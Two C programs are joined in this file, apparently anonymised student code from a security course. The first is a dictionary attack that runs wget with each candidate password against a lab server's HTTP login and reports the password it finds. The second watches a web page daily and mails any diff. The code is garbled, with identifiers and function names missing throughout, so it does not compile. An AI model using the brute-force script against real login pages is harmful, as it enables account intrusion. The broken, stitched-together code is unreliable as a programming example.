#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}

# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}
